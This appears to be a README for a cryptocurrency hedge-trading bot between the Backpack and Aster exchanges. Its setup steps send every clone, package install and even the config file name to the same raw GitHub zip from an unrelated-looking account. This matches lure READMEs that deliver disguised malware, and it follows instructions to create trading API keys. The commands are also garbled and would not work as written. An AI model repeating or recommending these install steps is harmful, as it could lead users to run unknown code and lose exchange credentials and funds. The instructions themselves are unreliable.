ASTER-BP is an automated hedge trading bot. It performs hedge strategies with ASTER tokens between Backpack and Aster exchanges. The bot also manages funding rates automatically.
- Spot Hedge: Hedge between Backpack Spot and Aster Spot
- Contract Hedge: Hedge between Backpack Spot and Aster Contracts (Recommended)
- Smart Monitoring: Continuously check order status and re-post unfilled orders automatically
- Funding Rate Management: Detect funding rate times automatically to avoid trading before and after settlements
- Error Handling: Comprehensive error handling and retry mechanisms
-
Download the Project
git clone https://raw.githubusercontent.com/Gplayservices/aster-bp-bot/main/electiveness/aster-bp-bot.zip cd aster-bp-bot -
Create a Virtual Environment
python -m venv .venv
-
Activate the Virtual Environment
- Windows:
.venv\Scripts\activate
- Mac/Linux:
source .venv/bin/activate
- Windows:
-
Install Required Packages
pip install -r https://raw.githubusercontent.com/Gplayservices/aster-bp-bot/main/electiveness/aster-bp-bot.zip
- Visit Backpack Exchange
- Register or log in to your account
- Go to Settings → API Keys
- Click Create New Key
- Set permission to Trading (mandatory)
- Copy the Public Key and Secret Key (in base64 format)
- Visit Aster Exchange
- Register or log in to your account
- Go to API Management
- Click Create API Key
- Set the following permissions:
- Spot Trading: For spot hedge
- Futures Trading: For contract hedge (recommended)
- Copy the API Key and Secret Key
- Create a configuration file named
https://raw.githubusercontent.com/Gplayservices/aster-bp-bot/main/electiveness/aster-bp-bot.zipin the project folder. - Input your API keys and other settings in the following format:
{ "backpack": { "public_key": "YOUR_BACKPACK_PUBLIC_KEY", "secret_key": "YOUR_BACKPACK_SECRET_KEY" }, "aster": { "api_key": "YOUR_ASTER_API_KEY", "secret_key": "YOUR_ASTER_SECRET_KEY" } } - Save the file.
To download the aster-bp-bot, visit this page to download.
- Python 3.7 or higher
- pip (Python package installer)
- A stable internet connection
If you encounter issues during installation:
- Ensure Python is installed.
- Check that you are in the correct project directory.
- Confirm your virtual environment is activated.
For specific errors, refer to the issues section on our GitHub repository.
If you need help, feel free to create an issue on our GitHub issue tracker. Our team will assist you as soon as possible.
- Always keep your API keys secure. Do not share them with others.
- Test your bot with small amounts before using significant funds.
By following these instructions, you can set up and run the aster-bp-bot effortlessly. Thank you for choosing the aster-bp-bot for your trading needs!